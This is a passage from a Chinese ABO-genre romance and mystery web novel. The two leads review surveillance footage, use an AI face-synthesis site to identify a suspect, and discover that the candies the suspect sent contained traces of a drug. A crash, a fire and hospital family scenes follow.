别人这么干是风流浪荡,但放在秦砚这里,那份禁欲的气质却很难消磨光,不过也正是那股劲的反差感,让人有点难以移开视线。 沈乐安转过了脑袋,径直换了方向,转去了厨房的位置,又去冰箱里面拿了一瓶冰的饮料。 “我也要一瓶。”秦砚的声音忽然从身后响起。 沈乐安关门的动作一停,帮他也顺路取了一瓶出来。 秦砚接了水,却没有马上喝,目光落在他的身上,“调试好了,可以看了。” 沈乐安点点头,拿着饮料走到客厅,看到地上多出来的两个坐垫,是上次他们打游戏坐地上的时候坐的,两个坐垫位置不远不近,整齐摆放着。 沈乐安选定了最近的那个,然后不着痕迹地往边上挪了挪,这才一屁股坐下。 前面的荧幕上已经开始了投影,出现了画面,清晰度格外的高,有很多个摄像头的拍摄,幸好是这样的大屏幕,所以看上去也并不累。 “开始吧。”沈乐安告诉秦砚。 “稍等。” 话音刚落,秦砚控制了开关,屏幕上的画面就开始放大了起来,他们先看的大门,看到进来之后会调其他的摄像头。 为了更好观看,客厅的灯也是关的,这样看的效果更好。 秦砚走过来的动静很明显,那道淡淡的属于他的味道也逐渐明晰,沈乐安以为他要从这里绕过去,刚想说话,便感觉到Alpha的手碰到了他的后颈。 后颈的冰凉与Alpha灼热的指腹形成鲜明的对比。 沈乐安陡然一僵。 不过对方只是微微探进去他垮下去的领口,然后掀出来,摆好,便收回了手。 “衣领被压下去了。” “……谢谢。” 这种强迫症的行为秦砚之前也有,只不过他们当时还算得上情侣的身份,而且秦砚一般只会提醒他调整好,不会亲自动手。 秦砚坐回了原位,没有多言,屏幕上的画面开始动了起来,仿佛刚才的行为只是很小的一个帮助。 沈乐安木着脸,警告自己不要浮想联翩,强迫自己将注意力转到屏幕的正事上。 也不知是不是周遭的空气太冷,他下意识扯了扯衣领,宽大的衬衣被他往前一扯,后边的木料贴到了后颈上,暂时压下去了那种别扭的感知,也仿佛挤走了不属于自己的气味。 但沈乐安很突然的想起来自己身上这一身也是秦砚的,大概是放在秦砚的衣柜里面太久了,这套衣服上面还弥留着那股淡淡的松雪之气。 以至于刚刚那个奇怪的想法再一次冒了出来。 秦砚是不是故意的? 挑衅?试探?恶趣味? 总归不可能是撩他,沈乐安第一时间将这个念头否定了。 第64章 第 68+69 章 胡思乱想的念头也只是在短短的一分钟内自动消化完毕, 视频上的画面开了倍速,很快让沈乐安将精力投入其中。 摄像头拍摄的画质还算清晰,能够轻易辨别出进出的人群, 光从这来来往往的人群密度来看, 这段视频可以体现酒吧内部的人流数据,可以归类为机密了。 秦砚给的轻易,但沈乐安还是知道这东西不能随便外给的。 沈乐安正思索着有什么东西可以等价还给他,视线在看到屏幕上的熟悉身影时, 微微一定,还没等他出声, 秦砚先一步暂停了画面。 视频被人放大,画面上的穿着张扬衣服的男人出现在沈乐安眼前。 “是沈华章?” 沈乐安认真看了几秒,点头道:“是。” 沈华章旁边的另外一个人穿了一身黑色的衣服,戴了黑色的口罩, 略微低着脑袋, 哪怕放大画面, 也没有办法从这个门口的摄像里面看到他的脸。 这人明显有点反侦查的本事。 沈乐安侧头看向秦砚,说道:“后边的几个监控录像一起调出来吧。” 秦砚嗯了一声, 照着他的话调了调屏幕上的画面。 大荧幕转了转, 视频一路跟着对方往里走, 图上只能隐约看得起他的一点身材轮廓,对方对于摄像头出现的地方尤其的谨慎,而走在他旁边的沈华章却对此毫无所觉。 沈乐安看着画面上的沈华章, 真心觉得蛋疼, 这什么傻逼玩意, 这么明显被人耍都看不出来。 人家口罩都没摘,反而一直在灌沈华章酒, 这不明摆着有遮掩吗? 视频看完了一圈,将各个监控的死角都找了找,愣是没有能够拼凑出这个神秘人的一张完整脸照,唯有少数的几张放大的戴着口罩的俯视角和匆匆而过的侧颜。 沈乐安看着上面摘出来的神秘人的照片,托着下巴盯着,总觉得有点眼熟。 他转头看向秦砚,问道:“只有这些视频了吗?” 秦砚:“这些是全部的存档。” 沈乐安沉吟片刻,指了指他的电脑,“方便给我操作一下吗?” 秦砚让出了位置。 沈乐安顺势挪了挪坐垫,坐在了他旁边。 秦砚没有开灯,客厅内的光线昏暗不清,屏幕上的暗光让视野勉强可见,但依旧不算清楚。 沈乐安切出监控的界面,转而切换到网页,只是输入的时候有点问题,打了两次都不对。 秦砚伸手靠近,操控了一下电脑,“需要切换一下输入法。” 真是自己犯蠢的一个行为,沈乐安默了默,“谢谢。” “不客气。”秦砚收回了手。 沈乐安目光落回电脑屏幕,搜出来唐洛安上次给他的网站链接,又返回去将刚刚截图的几张照片保存在文件夹内,然后回到网站上传,点击合成人像。 网站的界面堪称简朴,操作的时间也很长,还在转着圈圈。 秦砚这才出声道:“这是什么网站?” “放心,不会外传这些图,”沈乐安解释道,“这是唐洛安研发的一个AI智能合成人像的网站,原本是用来全息游戏里面捏脸的,上面的图片不全,我试试能不能通过这样的方式补足。” 秦砚对这个名字没有特别深刻的印象,但唐这个姓很耳熟,他反问道:“他和唐邵什么关系?” 沈乐安:“是唐邵他哥,上次不是和林教授一起出去吃过饭,你没有印象了?” 秦砚对没有关系的人一向不会放在心上,但对沈乐安的话,还是有几分记忆的,他主动问道:“上次你希望和我一起试玩的游戏,是和他一起研发的?” 沈乐安目光还盯着屏幕,分出神应了他一声,“是。” 秦砚安静了数秒,黑暗中,他目光落在少年心不在焉的面容之上,说道:“游戏的事情我和你道歉。” “?” 沈乐安忍不住转头想要瞧瞧他是不是中了邪,怎么没事老是要这样郑重其事地和他道歉什么的。 只不过还是光线太黑,沈乐安没能辨别出他的神色,只闻到了一股淡淡的属于沐浴露的香气,与自己的混合在一块,有种说不出来的暧昧。 沈乐安后知后觉发现和秦砚似乎坐的很近,挪了挪腿,便不小心撞到了对方的腿上,Alpha腿部的肌肉格外的硬,像块灼热的铁器,沈乐安有种以卵击石的痛感,又有着陌生而灼热的感触。 沈乐安很快地往旁边挪开腿,语气还算镇定地回他:“……我没有那么记仇。” 秦砚闻言,漆黑的眸子定定看了他一眼,不知想起什么,眉间舒展开来,很轻地笑了下,“嗯,我知道。” 沈乐安转回了脑袋。 屏幕上开始逐渐出现的人物暂时让暧昧的气氛进入公事公办的严肃。 AI合成的技术沈乐安其实也不知道到了那种地步,何况这个还是唐洛安自己研发出来的,不过对于唐洛安当初和他信誓旦旦的保证,沈乐安还是对他十分信任的,他既然说了这是目前为止,技术最完备的合成技术,经过他导师认证的那种。 但合成人像也是需要底图足够完备和清晰的,监控里面截图出来的照片还是太过于不全,也太过于模糊不清,沈乐安也没有几分把握,纯粹是死马当活马医。 网站上的人物逐渐清晰。 原图里面的人带着一个黑色的口罩,图上画出来的人物图也是戴着一个黑色口罩的男人,身高比例倒是能够清晰的通过画面中分辨出来,有一米八四,体重是AI估测的,放大的人物头像里面被口罩遮去以后,只能给出轮廓和眼睛上面的半张脸。 沈乐安说不上复原的人物是否合格,但刚刚看模糊的图像和这样清晰的图片还是感知十分不同的。 那种熟悉感逐渐明晰,沈乐安盯着那上半张合成的脸看了许久,心中仿佛压下了一块巨石,思绪逐渐沉底。 真的是他? 秦砚开了灯。 骤然亮起的光线让人有一瞬间的恍惚,沈乐安眯了眯眼,回过神,看向面色平静的秦砚。 秦砚低头看着他,“是你认识的人?” 沈乐安抿唇,有点勉强地点点头,“不是很确定,但有点相似。” “名字,身份。” “是我上次想让你查的那个叔叔,姓杨,”沈乐安道,“杨元然。” 沈乐安当初调查的人里面确实是下意识忽视了杨元然这个人,没有别的什么原因,坦白来说,他其实对于杨元然也是有着天然的信任感的。 他十岁大的时候,保姆疏忽导致沈家失火,沈烨当时在家,但那时候刚好在睡觉,离火点太近,直接晕了过去,沈乐安当时也只是一个小孩,压根拖不动人,加上火势太大,他很难一个人跑出去,火警报了赶过来还有一段时间,走投无路之下,是杨元然冒险进来将他们父子弄了出去。 杨元然因此还被火烧伤了皮肤,吸入太多有害物质,出来后就被送去医院抢救了。 M国的植皮手术最为先进,沈烨还联系了国外的医生,将杨元然送出国治疗,杨元然在国外休养了整整一年才回联邦。 一个人真正的关切很难作假,尤其是在那种危急的时刻,难道当初那场火灾是杨元然自导自演,为了让他们信任而作秀出来的? 但明明姜叶对杨元然这个青梅竹马也是正面的评价,明显他们关系也不错,总不会是因爱生恨的戏码吧? 沈乐安觉得这个猜想十分的荒谬。 秦砚对杨元然也算有所耳闻,宋书颖和他提过,沈氏出事之后,一直是这个人在帮忙操控局面,才没有让沈氏群龙无首的情况下出现崩盘,这人似乎和沈烨关系也不错。 秦砚垂眸看向他,问道:“你很相信杨元然?” “原本是,现在不确定。”沈乐安冷静了下来,他更多的失态还是因为自己可能这么多年被鹰啄了眼,这才是令他最懊恼的地方。 真论看人的本事,沈乐安还是非常自信的,尤其是上辈子游刃有余的人际往来,还没有人给他下过这么深的功夫,布这么大的局,让他真的有种关在安全屋里面,完全不会有怀疑的感知。 果然是从小孩开始重新长了一遍,自己也多了一点小孩子的单纯。 沈乐安沉着脸,由内而外的散发着不高兴。 秦砚抬手,摸了摸他的脑袋,“没有必要因为无关紧要的人生气。” 这动作似乎还带了几分安抚之意,沈乐安登时哑然。 秦砚在沈乐安身体微微僵硬的片刻及时收回了手。 这动作对于秦砚来说太过于出格,对于沈乐安而言也十分唐突。 沈乐安脑袋里面被人耍的气性暂时被压了下去,取而代之的是莫名其妙被人摸脑袋的怪异,尤其是这人还是秦砚。 两人默契地安静了数秒,空气中的分子都仿佛凝滞了许多,游动的速度变成了迟暮的老人。 秦砚盯着他略有点尴尬的小动作,主动转移了话题道:“信息素暴动不会无缘无故,你有没有印象什么时候摄入过他们的药物?” 谈及正事,沈乐安表情自然了许多。 当初他险些发生信息素暴动的事情确实让他怀疑了非常久,尤其是他可以说已经改变了原来的剧情,但这个该死的病因仿佛纠缠不掉似的缠在他的身上,原先沈华章和药物有关,沈乐安还怀疑过是不是沈华章给他偷偷搞了什么药瞒着他让他不小心吃下去了。 但现在想想,似乎也不是很成立这个理由,毕竟沈华章也不想是能做到如此天衣无缝还让他完全没有察觉出来的人。 那如果是杨元然呢? 沈乐安确实因为旧事对杨元然有着天然的信任,这么些年,杨元然还和家里有了亲戚关系,和他们家来往尤其的深,常常给家里送东西,他确实对杨元然是没有特别大的防备的。 那问题来了,如果是这种定期的药物,到底是通过什么方式让他保持持续的摄入的呢? 这个问题沈乐安早期就想过,但是一直没有想通,毕竟他连医院打针都很少去,定期注射药剂,哪怕是每年的体检的时候做手脚也非常的难,何况这个还有时间的缺陷。 如果是变成香水一样的气体物质也不是没有可能,但他家似乎也没有收到过杨元然送的这种类型的东西。 沈乐安再一次思索无果,烦躁地拆了颗糖,下意识就要往嘴里塞。 这动作做了千千万万遍,似乎已经成为了一种很日常的、融入了他生活的行为。 沈乐安突然地想起来当时从李怀玉手里弄来的那盒固态的药物,当初李怀玉告诉过他,这种药物既可以融入水中注射,也能直接口服,但效果没有注射好。 他竟然忽视了这个。 ……他妈的。 秦砚见他表情几变,拧眉道:“怎么了?” 沈乐安压下了满口的脏话,“可能是这个,我需要去实验室做一下检测才能确定。” 秦砚看了眼躺在他手心的小小一颗。 糖? 沈乐安不是很愿意承认自己挑剔又贪嘴的行为,但还是道:“我很喜欢他们做的这款水果软糖,杨叔……杨元然每次都会专门给我寄内购款。” 秦砚看着那熟悉的软糖,莫名想起来最初自己易感期失控之下选择和沈乐安临时标记的那个晚上,他那晚情况确实比之前要强烈的多,而且也确确实实吃了一颗沈乐安送他的糖。 如果没有这颗糖,他当时也许会更加清醒身体情况也会好很多,如果选择改变,他或许不会和沈乐安有这种发展,秦砚难得走神的进行了一次可能性的猜测。 秦砚目光在少年沉重的表情上定定看了一眼,分神数秒,最后又若无其事地别开了视线。 他当时到底还是理智清醒的,所做的选择不会因为这点细枝末节而改变。 沈乐安看了眼时间,道:“我想现在去实验室进行检验,你能不能送我过去。” “可以。”事情紧急,秦砚还给徐应尧发了条信息。 “如果调查出来结果显示有问题,有没有办法第一时间保证我家人的安全?”沈乐安提前问了一句。 杨元然这个人如果真的是密谋已久的背后人物,鬼知道他会不会对他们家有害心,沈乐安现在对所有人都满满的戒备。 秦砚应了声:“可以。” 沈乐安道了声谢,又马上上去换了身衣服,套了条外套就要走,不过离开前看了眼客厅上篮子里面的糖果,又与秦砚顺嘴说了一句,“家里的那些糖你记得处理掉。” 秦砚顿了一秒,似乎因为某个名词而有点恍然,随后声音近乎温和地回了他一声。 “好。” —— 沈芸家。 沈华章在拘留所里面待了这么多天没有出来,沈芸在家里也没有能够睡好,家里的沈茉莉也生病发烧,一连几天,沈芸为着一对儿女头发都白了几根。 终于哄完小茉莉睡觉,沈芸才心神俱疲的回了房。 杨元然见她门也没敲直接进来,皱了皱眉,直接挂了电话,锁好柜子,转头就要走。 沈芸委屈一下子就上来了,叫住他:“元然,你都几天没有回来家里了,沈氏集团的事情再重要,能值得你连华章茉莉的事情都腾不出时间过问一句吗?” 电话的内容没有说完,那人给他发了信息,杨元然看了一眼,没了任何想要和眼前声嘶力竭的女人闲聊的心思。 但绅士的风度犹存,他还保持着丈夫的身份,勉强耐心下性子,冷静地与沈芸说了一句:“华章的事情联邦查清楚会放出来,茉莉生病你可以联系医生。” 沈芸眼眶发红地说道:“所以你连问都不问一句吗?” 杨元然拧眉道:“不是已经给了你解决方法,你还想怎么样?” “你是我的丈夫,也是两个孩子的爸爸,”沈芸声音都有点哽咽,有点失控地质问道,“难道我们结婚这么多年,还比不上一个死了这么久的姜叶吗?” 杨元然语气不耐:“我喜欢姜叶这件事早在一开始的时候就告诉过你,既然你当初愿意接受这个事实,现在又来问这些做什么?” “杨元然,你没有良心,”沈芸声音哑了一分,牙齿都忍不住颤抖,“这么多年,你怎么样也成了我的丈夫,华章出事你所谓的解决方法就是等?你甚至比不上沈家那些亲戚关心华章!乐安都知道让我想办法见见华章安安心,你做了什么?” 杨元然定定看了她一眼,意味不明地道:“乐安还让你和华章见过面了?” 之前沈家的事情沈芸处处和他说,这次他几天没有回来,沈芸到底心灰意冷,所以也没有和他提过此事。 沈芸毫不留情地指责道:“你甚至比不上一个小辈有用处!” 杨元然转了转手里的资料,倒也没有说什么,“你还有什么别的想说的?没有我要先走了,还有事。” 沈芸看着他那张不复外人面前温和俊雅的神色,眼底唯有不耐烦和冷漠,羞辱的话语几乎拍在她的脸上,让她心中一阵阵的发凉发冷。 哪怕当初是她一厢情愿,与他协议的这段婚姻,但她痴心妄想的以为过了这么多年,他们也许日久生情,怎么样也会有一点点的属于家庭的温情,但她实在太过于天真。 但明明当初在她失去丈夫之后,主动靠近的也是他,一个人的态度变化难道可以相差如此之大吗? 沈芸是个温婉又传统的女人,甚至说不出口什么狠话,只是不停地骂着杨元然没有良心。 杨元然还因为那条新的消息而烦躁,没听到什么有用的消息,也没想和她浪费时间,抽走了那份文件,出来的时候看到门外怯怯躲着的沈茉莉,不知想到什么,转头与屋内的沈芸说了一句:“茉莉生病了你就好好在家里照顾她,不要闲着没事到处乱跑。” 沈芸不吱声,她最近常去的也只有沈家,为的是华章的事情,并没有所谓的闲着没事乱跑。 杨元然也没有想要得到回复的意思,直接拿着东西匆匆离开。 别墅内又恢复了一阵冷清。 沈茉莉抱着玩偶,看着爸爸的身影彻底消失,这才慢吞吞地进了妈妈的房间,脸上委屈地挂着小珍珠。 她年龄还小,不知道大人在说什么,但小孩子对于气氛的感知很明显,她知道爸爸妈妈在吵架,很大声,让偷偷过来想要和妈妈一起睡觉的她非常的害怕。 沈芸看见她,朝她招了招手,“茉莉过来。” 沈茉莉飞快地撞到妈妈的怀里,小声道:“妈妈,我晚上想和你一起睡觉。” 沈芸将女儿紧紧地抱在怀中,汹涌的泪水在这一刻难以忍受,过了许久,回答沈茉莉的是带着泪意的鼻音,“嗯,茉莉乖。” 沈芸家里彻夜难眠,沈乐安为了检测那个糖果里面的成分,也几乎一晚上没有入睡。 检测结果一出,沈乐安猜测基本落定。 人急忙忙地从实验室里面出来,冷不防地被外头刺眼的日光照到,光晕照在休息不足的眼睛里面,几乎有一瞬间失明的眩晕。 沈乐安整个人都晃了晃,下意识想找东西扶稳自己,却扑了个空。 在将要摔倒之际,他被人拦住了身体,身体一栽,摔到了Alpha的怀中,被大手紧紧揽住腰,扶在他腰间的手力气大到将要把他刻入坚硬又温暖的胸膛。 熟悉又内敛的松雪之气充斥在周身,令人不由放松下来。 沈乐安站稳,眼前恢复了正常的色彩,这才试图往外挣了挣,低声和面前的人道:“现在不晕了。” Omega熬了一整夜,眼底有明显的青色,休息不足,加上也没有吃什么东西,嘴唇微微泛着白。 秦砚松开他,皱眉道:“不是让徐应尧给你送了东西进去?” 沈乐安心虚了几分,说道:“太忙,没来得及吃。” 秦砚将手上提着的包子转交到他的手上,动作带了几分强势,“坐下先吃点东西。” 沈乐安接了,但更急的不是这个,“结果出来了,那批糖果里面确实存在微量的药剂残余,需要跟进杨元然那边的事情。” “我已经提前让人盯好他了,”秦砚道,“你先吃东西。” 沈乐安见他不容拒绝的架势,只好坐下来,心不在焉地大口吃了两嘴,问道:“他现在在哪?我能不能去和他见个面?” “杨元然还在沈氏,那边有人聚众闹事,现在有警方在疏通,我已经通知让人对他进行行踪控制。” 这种情况下如果擅自展开行动,如果没有抓到人,引发危险分子的警觉,很容易现场再发生其他的事故,尤其是有群众在。 沈乐安也不知道是不是今天没有睡好,总觉得眼皮跳的飞快,味同嚼蜡地吃了两口,又问道:“能即刻抓捕吗?我担心有意外。” 还没等他说话,秦砚电话便响了。 急促的闹铃声砸在脆弱的神经上,沈乐安忍不住多看了他一眼,目光紧紧落在震动的手机上。 “你先吃东西。”秦砚丢下一句话,起身去窗口处接听了电话。 秦砚到底还有一层身份,沈乐安也担心听到什么机密内容,当然没有冒昧地去偷听,只是心不在焉地吃东西填肚子。 这一通电话秦砚接了很久,至少有差不多十分钟。 沈乐安吃完两个包子,他才接完电话走回来。 秦砚的脸上一贯的平静如常,沈乐安看不出来有什么变化,但还是问了一句,“是和杨元然有关的事情?” 秦砚没有否认,转述道:“沈氏门口聚集了很多人,发生了恶意事件,据公司里面的职工所言,他有文件遗漏在家,需要回去,出来的时候遭遇了闹事者恶意酿成的车祸,现在被送来医院,正在里面抢救。” “车祸?”沈乐安觉得自己似乎发生了幻听,怎么这么巧? “不排除有故意的成分,但杨元然确实现在生命垂危,还在ICU抢救。” 沈乐安拧眉,看了他一眼,追问道:“你刚刚接了那么久的电话,是不是还有别的事情?” 秦砚迟疑了一下,还是托盘而出,“沈家老宅有人闹事,发生了火灾,消防队还在那边救火,没有人伤亡,但东西被烧了不少。” “主卧那间房呢?就是二层最里面那间房的情况。” “那里是起火点,只抢救下来一点东西。” 沈乐安顿时心疼的不行,但又庆幸自己有先见之明,偷偷把妈妈的稿子什么的都拿回了自己的宿舍,哪怕是如此,里面也有床和桌椅什么的,都是妈妈之前用的老物件了,被人这么整,估计基本上遭殃了。 这一定是对方的警告又或者是挑衅,只是这么巧合的时间,沈乐安说不准自己查到了这个信息是否真实又是否对那人有威胁的价值,毕竟杨元然这个事情来的太过于巧合,巧合到以生命作为代价。 但沈乐安又想到了当年自己亲身经历的那场火灾,如今在沈宅再一次重现,绝对不是巧合。 只是这番做法反而让人心中怀疑不定,既怀疑是对方故意为之,让杨元然背锅,又怀疑杨元然是反其道行之,自己为自己摆脱嫌疑,但以生命为代价的测试,真的可能吗? 沈乐安思索片刻,又问:“姜家那边呢?那里有发生什么事故吗?” 秦砚:“没有。” 姜家竟然没事? 是姜家没有找到东西,所以他们索性放弃了对姜家老宅的作弄吗?他们非常确定东西在沈家? 沈乐安有点意外地点点头,又道:“我想先去看看杨元然。” “杨元然还在抢救,手术室不能允许外人进入。” “我下去等等,”沈乐安想起来什么,又道,“他算是我姑父,我姑姑和他感情似乎不错,知道这个消息应该会很快赶过来,麻烦你们也顺便看顾一下她的安全情况,沈家的事情也麻烦你一起帮我盯着,我看完杨元然的情况再去家里看看。” 秦砚只应下了后面两件事,而后道:“杨元然伤情严重,现场起了火,还有严重的烧伤,抢救时间不会短,你现在需要休息。” “没事,我也不是很累。” “你从昨天到现在没有睡觉,”秦砚道,“没有必要先去处理这些不算紧急的事情。” 沈乐安记挂着事情,不过秦砚的好心他还是表达了一下感谢,然后道:“杨元然现在在哪栋楼?” 联邦医院的急诊室有几个位置,还有特殊病人的楼区,杨元然算是严重看护,沈乐安不确定他的位置。 秦砚没有回答他这个话,只是重复道:“你需要休息。” 沈乐安和他扯了半天,没得到答复,索性直接起来,打算去问问徐应尧。 秦砚为他固执的行为感到头疼,但在这种事情上不会纵容。 沈乐安被他抓住了手,半分不给让步,想要确定真相的急迫感让他也有点烦躁,“正事要紧,秦上将不清楚?” 秦砚抬了抬眼皮:“这两件正事里面,你暂时派不上什么用场,没有必要白白消耗时间和精力。” 他说的是事实,不论是消防队的救火还是现在的抢救行为,沈乐安确实还参与不进去,去了也只能干等着。 沈乐安无法反驳,但被他如此不给面子的打脸,气的想要挣开他的束缚,只不过力气悬殊,他这点甩脸的行为也一点行不通。 秦砚还是淡然又冷静的模样,面不改色,神情仿佛在纵容面前的人闹小脾气,哪怕陪他熬了一晚上的夜,除了多了一层淡淡的青茬,半点颓靡也无。 徐应尧买完东西回来,见到秦砚和沈乐安小情侣拉扯的情节,暗暗唏嘘了一番见了鬼,又忙不迭径直装作没看见离开。 沈乐安见徐应尧一走,气不过被人看轻,还被人撞见这种丑事,失言道:“你他妈又不是我的谁,管我那么多!” 秦砚面色一沉,漆黑的曈眸注视了他几秒,才出声道:“至少我还是你对外认可的男朋友,哪怕作为朋友,你脑子不清醒我也会给你提个醒。” 秦砚没有明说,但对外说分手的事情确实是他提的。 沈乐安被他一噎,又被这半点不给面子的话气得顿时说不出话来。 他冷静了几分,知道不能和秦砚在这里起争执,万一失控乱说了什么被人听去可就不好了,何况现在也不是搞吵架这种事情的时候。 沈乐安只好不情不愿地先跟他去了休息的单间。 这一层是有休息的房间,但也就是普通的小床,被子也是医院里面统一的那种被子,是给来这里的职工临时休息用的,用料也算不上好,沈乐安之前在这里睡过午觉,知道情况。 但秦砚带他过来的这间房间和他上次睡过的小房间不同,这里要大一些,床也大一点,关键还是被子和枕头,沈乐安一看就知道这东西是秦砚家里用的那一款。 沈乐安盯着床上用品看了几眼,怒气散了几分,转头问了一句,“你从家里拿的?” “不是,”秦砚道,“昨晚重新买的。” 沈乐安忘了他家还有钞能力这种东西,大半夜还能整一套高端定制的东西回来。 秦砚帮他铺开被子,道:“杨元然出ICU后我会叫醒你。” 沈乐安看着他动作,还是不愿意被他一番不容拒绝的霸道安排,他讨厌这样。 他语气平平地道:“秦砚,我现在很精神,不是很困。” 秦砚摆好了枕头,这才转头看着他道:“昼夜颠倒都会影响特殊时期,别说是不睡觉,何况你的日期将近,沈乐安,你忘了基础的生理常识了吗?” 沈乐安愣了一下,明显忘了这一茬。 “我等会叫你,不会耽搁正事。”Alpha的语气没有了那种硬邦邦的命令感,多了一点劝说的味道,少了一丝针锋相对。 刚才张牙舞爪的沈小少爷气势陡然弱了几分。 秦砚见他沉默了一下,然后才老实巴交地爬上了床,盖好了被子,才小声说:“那我睡一会,你等会叫我。” 秦砚嗯了一声,看到外面照进来的日光,又起身走到窗户边,将厚重的帘子拉上,屋内又变得漆黑一片,酝酿出沉重的睡意。 沈乐安确实眼睛酸出了泪花,眼皮现在仿佛压下了石头,他看了眼窗户边的秦砚,还觉得有点尴尬,找了找话题,与他道:“你昨晚睡了吗?” “没有。” “这里还有其他房间,你要不要也休息一下?我可以设闹钟起床。”沈乐安往上扯了扯被子,陷在柔软的被窝里面,滋生了困倦,也让他的声音有点柔和清软。 黑暗中的Alpha似乎往床上的位置看了一眼,随后回他:“你先睡。” 沈乐安语气含糊地嗯了一声,又习惯性地道了一声:“晚安秦砚。” 秦砚坐在了床边的凳子上,将滑落在地上的被子捡起来,动作小心地放回床尾少年的脚边,闻言,也放轻了声,回他。 “晚安。”他顿了一下,又道,“安安。” 第65章 第 70+71 章 沈乐安这一觉睡了很久。 他被秦砚叫醒的时候人还有点晕乎乎的, 屋内安静又温暖,被子枕头都是熟悉的款式,沈乐安刚起来的时候甚至忘了自己还有正事要忙, 只当自己还在家, 扒着枕头想要赖床。 房间内也就一个秦砚在场,沈乐安既是庆幸又是羞耻,毕竟原本斩钉截铁说不困的是他自己。 出了实验室的区域,回到联邦医院的就诊区, 沈乐安那点个人的尴尬情绪也就抛之脑后了。 因为杨元然的病房外面聚集了很多人。 沈家二老也在,但门口站着两个穿着联邦军队服饰的士兵, 身上甚至佩戴着武器,连医生护士进入都要核实身份,至于其他人,哪怕是沈家的一行人, 也只能在外面看着。 病房外面是一层厚重的玻璃面, 能够看得见里面的人, 各种仪器连接着床上的人的身体,床上的人还没有苏醒, 但身上却缠着厚厚的一层纱布, 连脸部都缠上了很厚的一圈。 沈乐安这才理解了秦砚口中的烧伤严重是什么意思。 他只扫了一眼, 便回头低声问秦砚:“检验过DNA吗,是本人?” 秦砚点头,“身份没有问题。” 沈乐安拧了拧眉, 又道:“目前不能探望吗?” “他醒了之后又睡过去了, 目前医生的意思是最好不要见人, 容易发生病菌感染等症状。”秦砚道。 沈乐安看着里面生死未定的人,又看了眼木偶一样坐在门口椅子处的沈芸, 摇了摇头。 沈芸头发都是乱糟糟的,身上套了一件外套,里面还是一件睡衣,与平时的端庄的形象大相径庭,眼睛盯着玻璃里面呼吸微弱的杨元然,紧紧抱着怀里的沈茉莉,眼泪无声地往下掉。 她现在还没有想到怎么不过一天的功夫,和她吵架的那个人就差点与她生死相隔了。 沈芸现在非常的害怕她再像几年前的自己那样,再一次的成为一个孤家寡人,巨大的压力和紧张让她如似被风雨吹到的稻草,眼底全然只有茫然和无措。 护士试图将她与孩子拉开,她甚至神经脆弱地尖叫出声:“不要、不要抢我孩子!” “女士,您力气太大,孩子很难受。” 沈芸猛地拍开她的手,瞪圆了通红的眼睛,警惕地看着她。 护士疼的嘶了一声,劝说无果,只好无奈地转头看向沈乐安和沈家二老。 沈乐安有点头疼,他也不懂怎么处理这种鬼事情,只好向沈老夫人求助。 沈老夫人也懒得和沈芸讲废话,语气也并不温和,说得上冰冷,“沈芸,华章也还没有出来,元然现在又出了事情,全家也就你能支撑起来,你想怎么寻死觅活我不管,茉莉算是我半个孙女,她还小,大人的事情你不该让她承担。” 今天沈芸将沈茉莉带来这里,还对着小孩胡言乱语的事情,沈老夫人看见了,也劝了,小孩子心智还不成熟,和小孩胡咧咧不是摆明了不负责任吗?谁知道这人没脑子,也确实不值得好言相劝。 沈芸不知是被沈老夫人语气吓得,还是真的听进去什么,但沈茉莉确实是被吓哭了,小声地啜泣着,她默不吭声地松开了手。 沈老夫人强硬地拉着不愿意离开母亲的小茉莉离开,同时也喊上了沈乐安,她不着痕迹地看了眼紧随在孙子后面的秦砚,并没有说什么。 沈茉莉感冒还没有完全好,出来又见了风,现在有点症状复发的趋势,看了医生,沈老夫人又单独给她开了一间私人病房,小姑娘打着点滴,生了困意,很快睡了过去。 沈老夫人这才有功夫和孙子以及这位一直跟在一旁的秦砚说话。 她打量了一眼秦砚,十分客气地开口:“秦先生,我们沈家出了这种大事,秦家愿意帮忙,我们非常的感谢。” 沈乐安有点诧异地看了一眼奶奶,旋即又冷静下来,爷爷和奶奶也不是什么傻蛋,他们也有自己的关系网,当然也能猜的出来一点苗头。 秦砚没有对这个做什么回应,只是从善如流地接替了沈老夫人的动作,帮沈茉莉掖了掖被子,“您叫我秦砚就好。” 沈老夫人看了一眼,觉得秦砚还算有几分体贴,谈得上会照顾人,心中的评价略微高了一分。 “茉莉这里需要人,”沈老夫人道,“你能不能先帮我看着她?” 秦砚扫了一眼沈乐安,应了一声:“好。” “乐安,”沈老夫人道,“跟我出来。” 沈乐安和秦砚说了一声马上回来,就跟着沈老夫人去了附近的一间休息室。 沈老夫人关紧了门,才道:“乐安,你和秦砚现在是什么关系?” 冷不丁砸下来这么一个问题,沈乐安愣了一下,巴巴地道:“我请了他给我当保镖,所以他才跟过来的。” 沈老夫人眯了眯眼,近乎明示道:“咱们家再落魄也不会卖儿求荣,你不用因为这些低声下气去做些什么。” “……” 沈乐安之前没有觉得,现在认为老人平时喜欢看一些狗血剧还是有点影响的。 沈老夫人有这种猜测并非没有缘由,早之前秦家过来参加老头子的生日宴的时候她就看出了一点苗头,但老头子又说他俩只是同事,但秦砚陪着乐安胡闹的事情她还是清楚的,摆明了对方有意向,但估计是他孙子不感冒,所以才没有下文。 现在沈家出了这一档子事情,秦家什么招呼都没打,直接帮了忙,明显态度太过于古怪,今天又见到孙子和秦家这位一块,旁人看不清,沈老夫人还是看得出秦家那位对乐安颇有点霸道,刚刚那个小护士不过是偷偷多瞄了几眼乐安,就被秦家那位一个眼神吓了回去。 秦家那位刚刚的表现来看,真心的还好,还算是一表人才,要是真的别有隐情,沈老夫人铁定第一个不乐意。 偏偏小孙子还对他们的身份遮遮掩掩,沈老夫人想不怀疑都难。 沈乐安不想引起误会,还是坚持道:“您不要想太多,我们没有什么。” 沈老夫人没有继续纠结这个问题,坐在椅子上,“坐下来吧,奶奶问你件事。” 沈乐安坐在她旁边,一副洗耳恭听的架势。 “我知道你在查姜家的事情,”沈老夫人看着他,“你老实告诉奶奶,是不是因为上一次奶奶和你说的那些话?” “不是,和您没有关系,这是我自己的决定。” “我知道你心里怨我。”沈老夫人道。 沈乐安垂了垂眼皮,说道:“才没有。” 沈老夫人叹了口气,才道:“你爸爸可能没有和你说过当年你外祖父家里发生的事情,但奶奶也不想瞒着你,当年你外祖父出事之前,那些人甚至秘密给姜家发了密件,让他们交出来你外祖父带走的东西,姜家确实一无所知,对方直接撕票,后来你外祖母和小舅舅都意外去世,也是因为这可能存在的东西,你小舅舅给人发了消息说亲自给他,甚至动用了军方的力量想要拦住人,但最后的结果是你小舅舅一去无回,你外祖母也因此心梗去世了。” 